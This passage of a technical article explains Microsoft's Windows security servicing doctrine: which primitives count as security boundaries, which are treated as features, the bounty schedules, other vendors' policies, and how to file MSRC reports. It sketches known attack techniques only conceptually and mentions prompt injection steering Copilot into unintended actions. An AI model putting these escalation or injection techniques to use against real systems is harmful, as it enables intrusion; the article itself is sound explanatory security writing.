Primitive. The user-mode-to-kernel-mode transition is enforced by the CPU's privilege rings and the SYSCALL/SYSRET instruction pair. The syscall service table is the only legal way to enter the kernel. Driver Verifier and HVCI run on top of this transition.

Violation. User-mode code achieves kernel-mode code execution without using the legitimate syscall interface, typically by exploiting a memory-safety bug in a kernel driver that the user-mode caller can reach.

Case study. CVE-2014-4113, the Win32k.sys tagWND elevation-of-privilege bug, exploited in the wild in October 2014.The Win32k subsystem is a recurring source of kernel-boundary findings because it processes window-manager state from user mode in kernel context, an architectural choice that predates the boundary doctrine. MS14-058 / KB3000061 was the Patch Tuesday fix on October 14, 2014 [@ms-bulletin-ms14-058]. The bug allowed a local user to run arbitrary code in kernel mode by crafting calls to the kernel-mode portion of the Win32 subsystem [@nvd-2014-4113]. Important severity; canonical kernel-boundary case; the kind of finding the doctrine was built to service cleanly.

*`SeAccessCheck`* is the Windows kernel's reference-monitor function that decides whether a thread holding a specific access token may perform a requested access against a securable object. It takes the object's security descriptor, the requesting token, and the desired access mask; it returns granted access or `STATUS_ACCESS_DENIED`. Every cross-process memory access, every securable kernel-object open, and every registry-key access ultimately routes through this function. It is the architectural enforcement point for both the process boundary and the user boundary.

7.3 Process boundary

Primitive. SeAccessCheck mediates PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_DUP_HANDLE, and the access mask passed to NtOpenProcess [@ms-learn-process-access-rights]. A process cannot read another process's memory without holding a token that grants the requested access against the target's security descriptor.

Violation. One process reads or writes another process's address space without having been granted permission.

Case study. Thread injection canon: CreateRemoteThread, SetWindowsHookEx, NtMapViewOfSection. Each violation routes through a documented OS primitive that Microsoft has hardened repeatedly. The hardening culminated in the Protected Process Light (PPL) signer-hierarchy enforcement introduced in Windows 8.1, which lets specially-signed processes refuse code injection even from administrator processes [@ms-learn-am-ppl]. PPL itself is on the feature side of the doctrine -- the canonical example of how the process boundary and PPL interact is the AM-PPL extension that anti-malware vendors use to protect their services from administrator-level interference, which Landau's research has explored at length [@landau-pplfault].The access-mask argument to NtOpenProcess is the load-bearing enforcement point. A thread that opens a target process with PROCESS_VM_READ and then calls ReadProcessMemory is exercising an audited boundary crossing; a thread that obtains the target's handle through a more circuitous route (handle duplication, named-object games) still routes through SeAccessCheck somewhere. The taxonomy is what gives the audit something to anchor against.

7.4 Session boundary

Primitive. Session 0 (system services) is isolated from interactive user sessions (Session 1, Session 2, and so on). Each session has its own \Sessions\<id>\BaseNamedObjects namespace, its own window station, and its own desktop [@ms-learn-kernel-object-namespaces]. Services that previously ran in the interactive session of the first logged-in user now run in Session 0 with no GUI.

Violation. A low-privilege interactive process sends window messages to a SYSTEM-level service on the same desktop, driving the service's UI into executing attacker-controlled code paths.

Case study. The August 2002 Shatter class, generalised by Brett Moore in Shattering By Example (2003) [@exploit-db-21691]. Microsoft's architectural response shipped with Windows Vista: Session 0 isolation. Services were moved to Session 0 with no interactive desktop; user applications run in Session 1 and higher. The Microsoft Learn Interactive Services page records the engineering decision verbatim: "Services cannot directly interact with a user as of Windows Vista. Therefore, the techniques mentioned in the section titled Using an Interactive Service should not be used in new code" [@ms-learn-interactive-services].

7.5 User boundary

Primitive. Per-user SIDs in the SAM database (or the domain database for joined hosts), file-system DACL inheritance, per-user HKCU registry hives, the user profile directory, and the access token that travels with every thread [@ms-learn-access-tokens]. A process running as one user cannot access objects owned by another user unless the DACL explicitly permits it.

Violation. One user's process reads another user's data without permission. Classic targets: NTUSER.DAT of another logged-on user, the other user's %USERPROFILE%, the other user's tokens via NtOpenProcess or NtOpenProcessToken.

Case study. The user boundary is the example Russinovich uses in his June 2007 article when contrasting boundaries with conveniences [@russinovich-vista-uac-wayback]. User-to-user separation is the canonical "yes, this is a boundary" case in the entire taxonomy; the closest same-user counter-example -- Forshaw's June 2024 Recall ACL post -- explicitly notes that user-to-user would be a boundary, but same-user per-process isolation is not [@forshaw-tyranid-acl]. The boundary granularity matters: the same primitive class can be a boundary at one granularity and a non-boundary at a finer granularity.

This is the cleanest illustration of how granularity drives classification. *User to user* is a boundary -- Alice's process cannot read Bob's data without explicit permission. *Same user, process to process* is not a boundary -- Alice's text editor, Alice's browser, and Alice's media player all run with Alice's identity and any one of them can read the others' resources. PPL adds a feature-class barrier within the same user, but Microsoft has explicitly classified PPL as not a boundary [@landau-pplfault]. The taxonomy is consistent: the same primitive (the access token) can guarantee separation across user identities and *not* guarantee separation between two processes that share an identity.

7.6 AppContainer / sandbox boundary

Primitive. A LowBox token with a capability SID list; default-DENY ACLs against any object that has not explicitly granted the relevant capability; restricted access to the file system, the registry, named objects, and the network stack. AppContainer is built on top of the Mandatory Integrity Control mechanism but is strictly more restrictive than a Low IL token.

*MIC* is the Windows mechanism that assigns each securable object and each access token an integrity level: Untrusted, Low, Medium (the default for standard users), High (the default for administrators), and System. The access-check rules state that a lower-integrity subject cannot write to a higher-integrity object, regardless of DACL permissions. Introduced in Vista alongside UIPI, MIC underpins both the AppContainer boundary and the UAC feature.

Violation. A LowBox or AppContainer process escapes its capability list to perform operations the container was supposed to deny.

Case study. Edge sandbox escape canon, from the Anniversary Update (Windows 10 1607, August 2016) forward. AppContainer as a mechanism predates 1607 (it shipped in Windows 8 alongside the Modern UI app model, where it was originally named LowBox) [@ms-learn-appcontainer-legacy], but the Edge sandbox is the flagship demonstration that AppContainer can serve as a browser-grade sandbox boundary. Edge sandbox escapes route through MSRC as boundary violations and earn the Microsoft Edge Bounty Program payouts [@msrc-bounty-edge].

7.7 Virtual machine (guest-to-host) boundary

Primitive. Hyper-V's root partition versus L1 guest partitions, the VMBus inter-partition channel, the synthetic device model, the virtualization-service-provider (VSP) and virtualization-service-client (VSC) split. A guest VM communicates with the host only via VMBus, and only through the synthetic devices the host exposes.

Violation. A guest VM achieves code execution on the host (or in a sibling guest).

Case study. CVE-2024-21407, a use-after-free in a Hyper-V root-partition component reachable from a guest VM (the MSRC advisory does not name the component), shipped as a Critical-severity Patch Tuesday item on March 12, 2024 [@nvd-2024-21407]. The guest-to-host class pays the highest bounty in the Microsoft Bounty Programs portfolio.

Note: The Microsoft Hyper-V Bounty Program pays $5,000 to $250,000 USD for guest-to-host escape vulnerabilities [@msrc-bounty-hyperv]. That is the highest single-finding payout in the Microsoft bounty catalogue [@msrc-bounty-root], and it maps directly to the VM boundary on the servicing-criteria table. The bounty schedule is one of the cleanest market-side confirmations available that the boundary list drives every other operational artifact: the boundary that protects the most consequential trust separation (cloud tenant from cloud tenant on shared hypervisor hardware) also pays the most.

7.8 VTL (VTL0 to VTL1) boundary

Primitive. Hypervisor-enforced second-level address translation (SLAT, implemented as Intel EPT or AMD NPT) separates the address spaces of VTL0 (the normal kernel and user mode) and VTL1 (the Secure Kernel and Isolated User Mode). The hypervisor mediates every cross-VTL access. The only documented cross-VTL channel is the Virtual Secure Mode hypercall pair (HvCallVtlCall and HvCallVtlReturn).

Violation. A VTL0 attacker observes or modifies VTL1 memory or Trustlet state.

Case study. Credential Guard / Isolated LSA is the canonical VTL1 success story. The LSA Trustlet (LsaIso) holds the credential material Credential Guard protects; even an NT AUTHORITY\SYSTEM-class attacker in VTL0 cannot read those credentials because the relevant pages are not mapped into the VTL0 kernel's address space at all [@ms-learn-vbs-ci]. The doctrine has a row that says so, and the bounty schedule pays Critical-class amounts under the Windows Insider Preview Bounty Program for VTL violations.

*Virtual Trust Levels* are the hypervisor-enforced trust tiers Hyper-V introduces inside a single guest partition [@ms-learn-vbs-ci]. VTL0 is the "normal" Windows world: the regular kernel, regular drivers, and regular user-mode processes. VTL1 is the secure world: the Secure Kernel and Isolated User Mode (IUM), where Trustlets like LsaIso run. The hypervisor's SLAT tables enforce the separation: VTL0 page-table entries that would let the normal kernel read VTL1 memory simply fail the SLAT check at hardware-page-fault granularity. The only cross-VTL channel is the VSL hypercall pair. The VTL boundary is the strongest local boundary on Windows.

7.9 Administrator Protection elevation path (2025 addition)

Primitive. The System Managed Administrator Account (SMAA) sits in the SAM database with its own SID, profile, and home directory. The appinfo.dll consent service authorises SMAA-scoped elevation via Windows Hello. When a user requests an elevation, appinfo.dll walks the Windows Hello flow, the SMAA token is created in a fresh logon session, the elevated process runs, and the token is destroyed when the process exits [@ms-learn-admin-protection].

Violation. A standard-user process obtains the SMAA's elevated token without Windows Hello consent, typically by exploiting a primitive in the elevation path that lets the attacker substitute their own controlled object for one the SMAA elevation flow expects to create.

Case study. James Forshaw's January 2026 nine pre-GA Administrator Protection bypass series, disclosed via the Project Zero issue tracker [@pz-tracker-432313668]. The canonical illustration is the "lazy DOS device directory hijack" (Project Zero issue 432313668): DOS device object directories are created on demand for each logon session rather than at session creation time, and an attacker can race the SMAA elevation flow to create the directory first, with attacker-controlled permissions. Microsoft fixed all nine pre-GA -- not "by design"-replied. The boundary classification is operationally enforced.

flowchart TB subgraph Network["Network boundary"] Remote["Remote / unauthenticated attacker"] end subgraph Hypervisor["Hyper-V root partition"] subgraph Guest["L1 guest VM"] subgraph VTL0["VTL0 (normal kernel)"] Kernel["Kernel mode"] subgraph Session1["Session 1+ interactive"] subgraph User["Per-user identity"] ProcA["Process A"] ProcB["Process B"] subgraph AppC["AppContainer / LowBox"] Sandbox["Sandboxed renderer"] end end end subgraph Session0["Session 0 services"] Svc["SYSTEM services"] end subgraph AP["Administrator Protection elevation path"] SMAA["SMAA token"] end end subgraph VTL1["VTL1 (Secure Kernel + IUM)"] Trustlet["LsaIso Trustlet"] end end end Remote -.->|"Network boundary"| Kernel ProcA -.->|"Process boundary"| ProcB Session1 -.->|"Session boundary"| Session0 Sandbox -.->|"AppContainer boundary"| ProcA Kernel -.->|"VTL boundary"| Trustlet ProcA -.->|"Administrator Protection boundary"| SMAA

Nine boundaries. Every one of them backed by a real architectural primitive, every one of them carrying a documented violation history. But the doctrine is only half a table. The other half is the table of primitives Microsoft has explicitly chosen not to commit to.

8. What Is Not a Boundary

For every primitive on the boundary list, there is a primitive Microsoft has named in the same document and chosen not to commit to. The seven entries, with the structural reason for each classification.

8.1 UAC

Russinovich's June 2007 sentence is the doctrinal source: "UAC elevations are conveniences and not security boundaries" [@russinovich-vista-uac-wayback]. The structural reason is the shared-resources model -- same SID, same profile, same logon session, same DOS device object directory between the standard-user and elevated tokens. UACMe is the operational catalogue: more than 80 documented auto-elevation methods, zero CVEs [@uacme]. The reply to a UAC bypass report is "by design, please refer to the servicing criteria," and that reply is operationally correct.

8.2 Driver Signing / Code Integrity / KMCS

Local administrator can, by design, install drivers. Once a driver is installed, it runs in kernel mode. Classifying admin-to-kernel as a boundary would require redesigning the Administrators group itself. The downstream operational consequence is the BYOVD attack family: an administrator installs a legitimately-signed driver with an exploitable vulnerability and uses the driver to obtain arbitrary kernel-mode code execution. Microsoft maintains the Vulnerable Driver Blocklist as feature hardening, and the Windows Defender Application Control (WDAC) infrastructure as a tighter enforcement option, but those are features layered over a primitive Microsoft has not classified as a boundary [@leviev-downdate-update].

8.3 Microsoft Defender / Antimalware

A heuristic detection layer cannot, by construction, be a boundary. Antivirus operates by recognising patterns -- signature, behaviour, reputation -- and an adversary tuning a payload against those patterns can always find a path that the detector does not recognise.

Note: A boundary requires that "security policy dictates what can pass through." Heuristic detection cannot meet that requirement. There is no policy oracle that can decide, in finite time with finite memory, whether an arbitrary binary will exhibit malicious behaviour. The decision problem is undecidable in the general case (Rice's theorem); in practice antivirus is a probabilistic filter, not a guarantee. Microsoft's classification of Defender as a feature acknowledges this constraint. Defender will be improved, hardened, and updated -- but the doctrine does not promise that it will catch any specific malware. Bypassing Defender is expected and continuous, and a Defender-bypass report on its own does not earn a CVE.

Tavis Ormandy's 2014 to 2017 Defender disclosures earned CVEs not because they bypassed Defender's detection but because they crossed other boundaries [@ms-advisory-4022344]. The bugs were memory-corruption primitives in the Defender parsing engine reachable from attacker-controlled inputs the engine fetched from email or web traffic. The flagship example is CVE-2017-0290, the crazy bad MsMpEng RCE Microsoft addressed with out-of-band Security Advisory 4022344 on May 8, 2017 [@ms-advisory-4022344]. The network boundary crossing is what earned the CVE.This is the operational lesson for anyone reporting a Defender finding: lead with the boundary, not the feature. If your bypass is a clever signature evasion, expect a "by design" reply. If your bypass is a parsing-engine memory-corruption primitive that fires from attacker-controlled input arriving over the network, that is a network-boundary crossing and you have a CVE-eligible report.

8.4 HVCI / Memory Integrity

The doctrinally subtle one. HVCI is the kernel-mode code integrity check that lives inside VTL1, running under the protection of the hypervisor. The VTL boundary is what protects HVCI from attacker tampering. HVCI itself is a feature enforced at the VTL boundary, not a boundary in its own right.

The operational consequence: an HVCI bypass that does not also cross VTL0 to VTL1 is a feature defeat. Critical-severity HVCI bypasses may still ship as security updates through the exception clause -- but the primary disposition path is feature-hardening rather than boundary-servicing. Microsoft's Virtualization-based protection of code integrity page documents the architecture in detail and is the canonical reference [@ms-learn-vbs-ci].

8.5 Protected Process Light (PPL)

Introduced in Windows 8.1 to protect anti-malware services and other specially-signed processes from administrator tampering [@ms-learn-am-ppl]. PPL uses code integrity to refuse unsigned code injection into protected processes, and refuses termination requests even from administrators.

Gabriel Landau's PPLFault chain demonstrated loading unsigned code into a PPL process by racing the kernel's signature check against attacker-controlled storage during catalog load -- the False File Immutability primitive [@landau-pplfault], [@landau-ffi-elastic]. Microsoft's response was the Canary build 25941 mitigation on September 1, 2023 -- feature hardening that ships out-of-cycle when the impact warrants it, not boundary-class servicing. Landau's article preserves the verbatim MSRC position.

The PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes ... Microsoft does not consider PPL to be a security boundary, meaning they won't prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically addressed some such vulnerabilities on a less-urgent basis. -- Gabriel Landau, Elastic Security Labs, September 2023 [@landau-pplfault]

8.6 Administrator-to-kernel privilege escalation

The structural impossibility argument applies cleanly here. By Saltzer-Schroeder's complete mediation principle [@saltzer-schroeder-mit], a boundary requires that every access through it be mediated by policy. Administrators are policy-authorised to load drivers; drivers run in kernel mode; therefore admin-to-kernel is the expected operation, not a policy violation. Reclassifying this as a boundary would mean redesigning the Administrators group itself.

The Landau ItsNotASecurityBoundary GitHub repository name is an explicit homage to this Microsoft policy [@landau-itsnotasb-gh]. The repository's research extends False File Immutability into kernel space: the Windows Code Integrity subsystem (ci.dll) is itself susceptible to FFI, letting an attacker who controls a catalog file on attacker-controlled storage race the CI signature check and then load unsigned drivers. Microsoft fixed the specific FFI primitive but did not move the admin-to-kernel classification.

Alon Leviev's Windows Downdate is the recent flagship demonstration. Microsoft assigned CVE-2024-21302 to the chain because it crossed the VTL boundary; the underlying Windows Update takeover -- the admin-to-kernel piece -- remained unpatched [@leviev-downdate-update]. The classification stood. Specific chains earn CVEs when they cross another boundary; the primitive itself does not become a boundary by accumulation of exploitation evidence.

While CVE-2024-21302 was patched because it crossed a defined security boundary, the Windows Update takeover which was reported to Microsoft as well, has remained unpatched, as it did not cross a defined security boundary. Gaining kernel code execution as an Administrator is not considered as crossing a security boundary (not a vulnerability). -- Alon Leviev, SafeBreach Labs, October 26, 2024 [@leviev-downdate-update]

8.7 Same-user post-authentication

The most recent addition to the feature table, articulated by James Forshaw in Working your way Around an ACL (June 3, 2024). Once a process has executed under a user's session, it inherits the user's trust. Per-process isolation within the same user is not a declared boundary. Forshaw's verbatim formulation: "any privilege escalation (or non-security boundary cough) is sufficient to leak the information" [@forshaw-tyranid-acl].

The operational stakes here are higher than they look. AI-mediated features like Windows 11 Recall continuously record sensitive user state into a same-user-readable database. If same-user is not a boundary, every non-PPL local process under the same user identity can read that database. The "ACLed to SYSTEM" mitigation that protects the Recall storage is operationally weak under the doctrine, because any same-user privilege escalation -- including the entire UACMe catalogue, all of the same-user-post-authentication footguns, and every UI-Access trick -- is a sufficient predicate.

flowchart TD Report["Vulnerability report arrives"] Cls{"Classify primitive"} BdyQ2{"Boundary path: severity Critical or Important?"} FtrQ2{"Feature path: severity Critical or Important?"} Excp{"Exception applies?"} SvcBdy["Boundary servicing: Patch Tuesday CVE"] SvcFtr["Feature servicing: Patch Tuesday CVE (Q2 yes path)"] SvcExc["Exception servicing: feature hardening, possible bulletin"] Defer["By design / consider for next version"] Report --> Cls Cls -- "Boundary" --> BdyQ2 Cls -- "Feature" --> FtrQ2 BdyQ2 -- "Yes" --> SvcBdy BdyQ2 -- "No" --> Excp FtrQ2 -- "Yes" --> SvcFtr FtrQ2 -- "No" --> Excp Excp -- "Yes" --> SvcExc Excp -- "No" --> Defer

The central insight: the not-a-boundary table is not a list of bugs Microsoft has not gotten around to fixing. It is a list of primitives Microsoft has deliberately chosen not to commit to, because guaranteeing those primitives as boundaries would require either reorganising the architecture (admin-to-kernel) or operating against an inherent impossibility (heuristic detection cannot guarantee detection).

Nine boundaries that Microsoft commits to. Seven features Microsoft hardens but does not commit to. One remaining structural artifact ties the two together: the bounty schedule.

9. The Bounty Schedule Mirrors the Boundary List

If you wanted a market-side confirmation that the boundary list is the operational anchor, you would look at the bounty schedule. The two documents are mechanically linked.

Bounty program	Payout range	Primary boundary (or boundaries)	Source
Microsoft Hyper-V Bounty Program	$5,000 to $250,000 USD	Virtual machine (guest-to-host)	[@msrc-bounty-hyperv]
Windows Insider Preview Bounty Program	$500 to $100,000 USD	Kernel, network, sandbox, VBS / VTL	[@msrc-bounty-wip]
Microsoft Edge Bounty Program	$250 to $30,000 USD	AppContainer / sandbox, network	[@msrc-bounty-edge]
Microsoft Bounty Programs (landing)	Varies by program	Identity, Cloud, M365, Azure (cloud-side boundaries)	[@msrc-bounty-root]
Standalone UAC bypass bounty	None	(UAC is on the feature list, no bounty)	--

Hyper-V is the highest payout. Up to $250,000 USD for a guest-to-host escape, which is the largest single-finding payout in the Microsoft bounty catalogue [@msrc-bounty-hyperv]. The program's verbatim definition of an eligible submission is a remote-code-execution vulnerability that lets an L1 guest virtual machine compromise the hypervisor, escape from the guest to the host, or escape to another L1 guest. That maps directly to the VM boundary on the servicing-criteria table. The market signal is unambiguous: the boundary whose violation matters the most pays the most.

Windows Insider Preview is the kernel / network / VBS catch-all. Up to $100,000 USD for vulnerabilities found on the latest Canary Channel build, with the eligibility requirement that the vulnerability "must be Critical or Important severity as defined in the Microsoft Vulnerability Severity Classification for Windows" [@msrc-bounty-wip]. That severity requirement is the Question 2 gate from the two-question rule, written directly into the bounty's eligibility clause. The bounty program inherits Question 2 mechanically.

Microsoft Edge is the sandbox program. Up to $30,000 USD for Edge-unique vulnerabilities (not reproducing on the equivalent Google Chrome channel) in the Dev, Beta, or Stable channels [@msrc-bounty-edge]. The "unique to Edge" requirement reflects that Chromium engine bugs upstream are Google Chrome's bounty scope; the Microsoft Edge program covers the Edge-specific shell, AppContainer integration, and Windows integration code.

The absence of a UAC bounty. There is no standalone UAC bypass bounty program. Not because Microsoft does not care about UAC bypasses, but because UAC is not on the boundary list -- the market signal follows the doctrine.

Note: The bounty schedule is the most reliable cross-check available for the boundary list. Reading the bounty page is a reasonable proxy for reading the boundary list, because Microsoft only pays for findings that violate primitives the company has committed to defending. The absence of a UAC bounty, the presence of a $250,000 Hyper-V tier, and the Critical-or-Important severity gate baked into the Windows Insider Preview bounty are all consequences of the servicing-criteria classification. The classification drives the payout. The payout reveals the classification.

The mapping is dominantly tight, not strictly tight. The exception clause from the servicing criteria applies here too: a sufficiently impactful feature defeat may receive an out-of-band bounty under the broader Microsoft Bounty Programs umbrella [@msrc-bounty-root]. But the structural mapping is consistent enough that the bounty page is a fair proxy for the classification.

You have now read the doctrine in full. Two tables, one rule, one bounty overlay. The next question is the one the doctrine itself cannot answer: where are the gaps?

10. What the Doctrine Cannot Decide

The doctrine is the most enumerated vulnerability-classification policy any major OS vendor has published. It still has gray zones.

Resourcing versus security. Microsoft's admin-to-kernel position is at least partly a resourcing decision: finite engineering capacity to harden the admin elevation path. The structural impossibility argument (admin loads drivers; drivers run in kernel) is genuine, but it does not by itself force the classification -- a sufficiently invasive architectural change (sealed-system mode; VTL Enclaves hosting the entire kernel) could in principle move the line. What "guaranteed by Windows" means in a model that admits BYOVD, Windows Downdate, and False File Immutability is a question reasonable researchers can disagree on.

Severity-meets-bar as the second filter. Two findings that cross the same boundary can receive different fates depending on Question 2. The Bug Bar [@msrc-bugbar] documents the types of severity (RCE, EoP, info disclosure, DoS, spoofing, tampering) and the pivots (server vs client; default-on vs default-off; user interaction required vs not), but the thresholds within each type are not exhaustively published. A researcher who knows the boundary list still cannot, from the document alone, predict severity to single-step accuracy.

The "exceptions may be made" clause. The doctrine itself admits exceptions exist. PPLFault shipped a feature-hardening mitigation in Canary build 25941 [@landau-pplfault] even though PPL is a feature; CVE-2024-21302 received a Patch Tuesday bulletin even though the underlying admin-to-kernel primitive remained on the feature side [@leviev-downdate-update]. Researchers cannot fully predict the MSRC reply from the document alone; the exception clause is structural relief, not an edge case.

Boundary classification of paths, not just components. Administrator Protection is the elevation path, not the account [@ms-learn-admin-protection]. Admin-to-kernel via driver load is still not a boundary even when the elevation path is. The two coexist: a researcher who finds a way for a standard-user process to obtain an SMAA elevated token without consent has a CVE-eligible boundary crossing; a researcher who finds a way for an administrator process to install a vulnerable driver and pivot to kernel has a feature defeat.

Saltzer and Schroeder's 1975 *The Protection of Information in Computer Systems* [@saltzer-schroeder-mit] articulates the *open design* principle: the security design should be public, "the mechanisms should not depend on the ignorance of potential attackers." A published classification doctrine like Microsoft's satisfies open design. Their *complete mediation* principle is the other constraint at work: a boundary requires that every access through it be mediated by policy. The Microsoft doctrine lives precisely in the gap between *enumerable* (an upper bound: a published doctrine must list the boundaries it commits to) and *complete* (a lower bound: no doctrine can list every primitive that will ever matter). The "exceptions may be made" clause is the doctrine's explicit acknowledgment of the gap.

Note: The doctrine does not promise that every reported finding will be serviced. It does not promise that severity thresholds are publicly enumerated to single-step accuracy. It does not promise that the boundary list will not grow or contract. It does not promise that two reports against the same primitive at the same severity will receive identical disposition. What it promises is that the classification half of the triage will follow the published list, and that the exception clause exists as the explicit relief valve when the published list does not fit. The promise is procedural, not absolute. That procedural promise is what makes the doctrine more legible than any comparable vendor policy.

Microsoft's doctrine has gray zones -- but it has more enumerated certainty than any comparable doctrine. How does it compare to Apple's, Chromium's, Mozilla's, and the Linux kernel's?

11. How Other Vendors Classify the Same Primitives

Microsoft's document is one of five major published doctrines. Each draws the line differently.

Vendor	Taxonomic structure	Primary URL	Example divergence from Microsoft
Microsoft	Enumerated boundary + feature tables; two-question rule	[@msrc-criteria]	The Microsoft baseline
Apple (macOS / iOS)	Architectural-by-section; sealed system + SIP	[@apple-platform-security]	SIP classifies admin-to-OS-modification as a boundary
Chromium	Design-time Rule of 2; severity guidelines for triage	[@chromium-rule-of-2]	Design-time pre-commitment, not post-hoc classification
Mozilla	sec-rating (sec-critical / sec-high / sec-moderate / sec-low)	[@mozilla-client-bounty]	Severity-only, no primitive enumeration
Linux	Per-subsystem implicit classification	[@linux-security-bugs]	No central table; maintainer-driven

Apple's Platform Security Guide. A sealed-system / Signed System Volume model with stricter user/kernel separation. macOS System Integrity Protection (SIP) restricts the root user account and limits the actions root may perform on protected parts of the OS [@apple-sip-ht204899]. Some admin-to-system-modification paths that Windows classifies as features (Driver Signing, Code Integrity, admin-to-kernel) are classified by SIP as boundaries the OS protects against modification, including by the local administrator. The Apple guide is less enumerated than Microsoft's -- it organises by section rather than by table -- but it commits to architectural separations that the open-driver-loading Windows model cannot match [@apple-platform-security].

Chromium's Rule of 2 plus Severity Guidelines. A design-time pre-commitment, fundamentally different from Microsoft's post-hoc triage. The Rule of 2 states: "When you write code to parse, evaluate, or otherwise handle untrustworthy inputs from the Internet ... Pick no more than 2 of: untrustworthy inputs; unsafe implementation language; and high privilege" [@chromium-rule-of-2]. Code that violates the rule must be sandboxed before it ships. Site isolation (each origin in its own renderer process) is the operational boundary equivalent. The Severity Guidelines parameterise triage with a Critical (S0) / High / Medium / Low scheme [@chromium-severity-guidelines].The Chromium Rule of 2 and Microsoft's servicing criteria are not substitutes -- they live at different layers. The Rule of 2 is an engineering rule that forecloses entire vulnerability classes at design time. The Microsoft doctrine is a triage rule that classifies findings at disclosure time. A Chromium project can adopt both, and Microsoft Edge does.

Mozilla's Client Bug Bounty Program. A severity-only rating: sec-critical, sec-high, sec-moderate, sec-low. The bounty page states verbatim: "Typically, the security rating given by the Bounty Committee for a bug must be rated a 'sec-high' or 'sec-critical' in order for it to be eligible for a bounty" [@mozilla-client-bounty]. There is no published boundary enumeration. The Bounty Committee's judgment is the deciding factor.

The Linux kernel security-bugs process. Per-subsystem, not per-boundary. The verbatim policy: "By definition if an issue cannot be reproduced, it is not exploitable, thus it is not a security bug" [@linux-security-bugs]. CVE assignment runs through the kernel's CVE Numbering Authority since 2024. There is no Linux equivalent of the MSRC servicing-criteria document; classification is implicit in the maintainer's response.

Microsoft's document is the most enumerated, most operationally legible vulnerability-classification doctrine published by any major OS vendor. That legibility is itself a vendor commitment, and is what makes "by design" a predictable answer rather than an arbitrary one. All five doctrines agree that boundaries exist. They disagree on which primitives count, how to enumerate them, and how to communicate the result. Microsoft has chosen the most-enumerated point in that gap. The next question is whether the enumeration will keep growing.

12. The 2026 Frontier

The boundary list grew by accretion for twenty years. Four pressures are pushing the next additions.

Cloud-side boundaries. Conditional Access policy enforcement (Microsoft Entra), the Primary Refresh Token (PRT), and the Microsoft 365 service boundary that Copilot operates within. These are not currently in the Windows servicing criteria -- they are governed by separate MSRC documents and per-product bounty programs [@msrc-bounty-root]. Modern Windows attack chains routinely involve both client-side (Windows) and cloud-side (Entra / Azure) primitives. A finding that crosses a cloud-side boundary may or may not also cross a client-side boundary, and the Windows document does not yet arbitrate.

The open question is whether the Windows servicing criteria document will expand to cover cloud-side primitives, or whether a parallel Microsoft Identity Security Servicing Criteria document will appear. The bounty pages function as a derived boundary list today -- reading them tells a researcher which cloud-side primitives Microsoft commits to servicing -- but the unified document does not yet exist.

Agentic / AI-mediated privilege expansion. Copilot in Windows and Copilot for Microsoft 365 can take actions on behalf of a user. Prompt injection from untrusted content can cause Copilot to perform actions the user did not intend. Is that a boundary crossing?

A prompt-injected Copilot action operates *within* the user's identity and the user's authorisations. By the same-user-post-authentication classification, that should be a feature defeat, not a boundary crossing. But the *intent* the user expressed (summarise my email; do not exfiltrate it) is defeated by the injected prompt. The doctrine was designed to classify primitives in terms of policy-enforced separations, not in terms of user-intent-vs-attacker-intent. The MITRE ATT&CK framework has begun to enumerate prompt-injection-class techniques [@mitre-attack]; the Microsoft document has not yet. Whichever way Microsoft decides -- a new boundary entry, a new feature entry, or a deferral -- will be the most consequential doctrinal move since the 2025 Administrator Protection addition.

Administrator Protection rollout resumption. The December 2025 revert was an application-compatibility decision; the boundary classification stands [@ms-learn-admin-protection]. What would have to be true for the rollout to resume: Win32 application compatibility validated across the long tail, Visual Studio elevation flows verified, the WebView2 installer regression resolved [@ms-blogs-admin-protection-dev]. What stays the same when it does: Forshaw's nine pre-GA bypasses all fixed; the elevation path still on the boundary side.

Same-user as a possible new boundary. The Recall disclosure and the broader same-user post-authentication class push on this question. The community position, articulated by Forshaw, is that same-user should not be expected to be a boundary [@forshaw-tyranid-acl]. Microsoft's response has been feature hardening (Personal Data Encryption, VTL Enclave use) rather than reclassification.

Note: If VTL Enclaves and Personal Data Encryption become a per-user attestable substrate -- a per-user equivalent of VTL1 -- then same-user could become a boundary in the same way user-to-user already is. The structural ingredient that VTL1 added to the user boundary (hypervisor-mediated separation that even SYSTEM cannot cross) would be added to a per-process scope within a user's identity. This is a research-track conjecture, not a Microsoft commitment; no public Microsoft statement has confirmed the direction. But the shape of how same-user could become a boundary is now legible, in a way it was not before Administrator Protection demonstrated that re-using an existing boundary (user-to-user) for a new primitive (the SMAA elevation path) is a viable engineering pattern.

flowchart LR subgraph Existing["Existing boundaries (current doctrine)"] Net["Network"] Krn["Kernel"] Prc["Process"] Sess["Session"] Usr["User"] AC["AppContainer"] VM["Virtual machine"] VTL["VTL0 to VTL1"] AP["Administrator Protection"] end subgraph Ingredients["Structural ingredients pushing the frontier"] PRT["Primary Refresh Token"] CA["Conditional Access policy"] PI["Prompt injection primitives"] PDE["Personal Data Encryption"] Enc["VTL Enclaves"] end subgraph Candidate["Candidate future boundaries"] Cloud["Cloud-side: PRT / Conditional Access"] AI["AI-mediated action expansion"] SU["Same-user per-process"] end Usr --> PRT Usr --> CA PRT --> Cloud CA --> Cloud PI --> AI Sess --> PI PDE --> SU Enc --> SU VTL --> Enc

None of these candidates is on the table yet. All four are being pushed by primitives -- the Primary Refresh Token, prompt injection, Administrator Protection, the Recall directory ACL -- that have already shipped. The next decade's boundary list is being negotiated now, in real research posts and MSRC replies. The question is how you file a report into that negotiation.

13. How to File a Useful MSRC Report

Everything in this article has been theory until this section. Here is how the doctrine becomes a checklist you can apply to your own findings before the submit button.

Read the servicing-criteria document first [@msrc-criteria]. Map your finding to a boundary entry. If it does not map, expect a feature-defeat reply. If it maps cleanly, you know in advance that the disposition path goes through Question 2.
Lead the MSRC submission with the boundary claim in the first sentence. "This issue violates the [process | kernel | session | network | user | AppContainer | VM | VTL | Administrator Protection] boundary because <reason>." The triage engineer reading your report should never have to infer which boundary you are claiming. Name it.
Include the severity-meets-bar argument in the second paragraph. Critical / Important / Moderate / Low per the Bug Bar [@msrc-bugbar]. Cite the specific bug-type cell (RCE, EoP, info disclosure, DoS, spoofing, tampering) and the pivot (server vs client; default-on vs default-off; user interaction required vs not). Worked examples beat assertions.
If the finding crosses a feature and a boundary, lead with the boundary. The feature defeat is supporting evidence, not the primary claim. A Defender bypass that also crosses the network boundary is a network-boundary report with a Defender defeat as supporting detail, not the other way around.
